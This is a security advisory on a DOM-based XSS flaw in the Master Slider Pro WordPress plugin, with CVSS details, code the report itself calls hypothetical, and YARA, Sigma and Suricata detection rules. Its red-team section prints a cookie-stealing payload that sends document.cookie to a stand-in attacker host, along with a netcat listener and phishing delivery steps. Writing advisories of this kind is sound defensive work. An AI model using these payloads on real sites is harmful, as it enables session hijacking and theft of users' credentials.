CVE-2025-63045

Executive Summary

CVE-2025-63045 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Master Slider Pro by Averta, affecting versions through 3.7.12. The vulnerability stems from improper neutralization of user input during web page generation, allowing an attacker to inject malicious scripts that execute in the context of the victim's browser. This is a client-side attack vector, typically requiring user interaction (e.g., clicking a crafted link). The CVSS score of 6.5 (Medium) reflects the potential for data theft, session hijacking, or defacement. As of this report, no official patch is available, and no public exploit code has been released.

Supply Chain & Package Security

This vulnerability affects a commercial WordPress plugin distributed via the Averta marketplace. Users should verify the integrity of their plugin files and monitor for updates. No open-source package (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a link or visit a crafted page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited modification possible.
• Availability (A): Low (L) – Limited service disruption.

Threat Level: Medium. While the CVSS is moderate, DOM-based XSS can be chained with other attacks (e.g., CSRF) to escalate privileges.

Deep Dive & Mechanics

The vulnerability resides in the masterslider JavaScript component of the Master Slider Pro plugin. DOM-based XSS occurs when client-side JavaScript processes user-controllable data (e.g., document.location, document.referrer, or URL parameters) and writes it to the DOM without proper sanitization. In this case, the plugin likely reads a parameter from the URL hash or query string and injects it into the page via innerHTML or similar methods.

Attack Flow:

1. Attacker crafts a malicious URL: https://victim-site.com/?slider_param=<img src=x onerror=alert(1)>
2. Victim clicks the link.
3. The plugin's JavaScript extracts the slider_param value.
4. The value is inserted into the DOM without encoding, causing the script to execute.

Root Cause: Lack of output encoding or use of unsafe DOM APIs (e.g., innerHTML, document.write) with untrusted data.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common fixes.

Vulnerable Code (JavaScript):

var param = new URLSearchParams(window.location.search).get('slider_param');
document.getElementById('slider-container').innerHTML = param;

Patched Code (Hypothetical):

var param = new URLSearchParams(window.location.search).get('slider_param');
var safeParam = document.createTextNode(param);
document.getElementById('slider-container').appendChild(safeParam);

The patched version uses createTextNode() to safely encode the input, preventing script execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Target WordPress site with Master Slider Pro <= 3.7.12.
• Ability to craft a malicious link.

Exploit Payload:

<script>
// Example payload to steal cookies
var img = new Image();
img.src = 'http://attacker.com/steal?cookie=' + document.cookie;
</script>

Crafted URL:

https://victim-site.com/?slider_param=<img src=x onerror="new Image().src='http://attacker.com/steal?cookie='+document.cookie">

Steps:

1. Host a listener on attacker machine: nc -lvnp 80
2. Send the crafted URL to the victim via phishing email or social media.
3. When the victim clicks, the cookie is exfiltrated.

Blue Team (Defense & Detection)

Detection:

• Monitor web logs for unusual URL parameters containing <script>, <img>, or onerror.
• Use browser-based CSP headers to block inline scripts.

Mitigation:

• Disable the plugin until a patch is released.
• Implement a Web Application Firewall (WAF) rule to block XSS patterns in query strings.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to attacker-controlled domains containing ?cookie= or similar.
  • Unusual referrer headers from the victim site.
• Host:
  • Modified JavaScript files in /wp-content/plugins/masterslider/.
  • Unexpected DOM elements in the page source (e.g., <img src=x onerror=...>).
• Logs:
  • Web server logs showing requests with slider_param=<script> or similar patterns.

Detection Engineering

YARA Rule

rule CVE_2025_63045_MasterSlider_XSS {
    meta:
        description = "Detects Master Slider Pro DOM XSS payloads in web requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-63045"
    strings:
        $payload1 = /slider_param=.*<script/i
        $payload2 = /slider_param=.*onerror/i
        $payload3 = /slider_param=.*onload/i
    condition:
        any of them
}

Sigma Rule

title: Master Slider Pro DOM XSS Detection
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to exploit CVE-2025-63045 via URL parameters
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 'slider_param='
        cs-uri-query|re: '(?:<script|onerror|onload|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of slider parameters with safe content
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-63045 Master Slider Pro DOM XSS Attempt"; flow:to_server,established; content:"slider_param="; http_uri; pcre:"/(?:<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by Averta.
2. Implement Content Security Policy (CSP) headers to block inline scripts:

   Content-Security-Policy: script-src 'self' https://trusted-cdn.com;
   

3. Use a WAF to filter malicious URL parameters.

Long-Term Fix:

• Monitor the Averta changelog for a patched version (> 3.7.12).
• Apply the patch as soon as it becomes available.
• Conduct a security audit of all WordPress plugins.

Workaround:

• If the plugin must remain active, manually sanitize the slider_param input by editing the plugin's JavaScript file (not recommended for non-developers).

Valters IT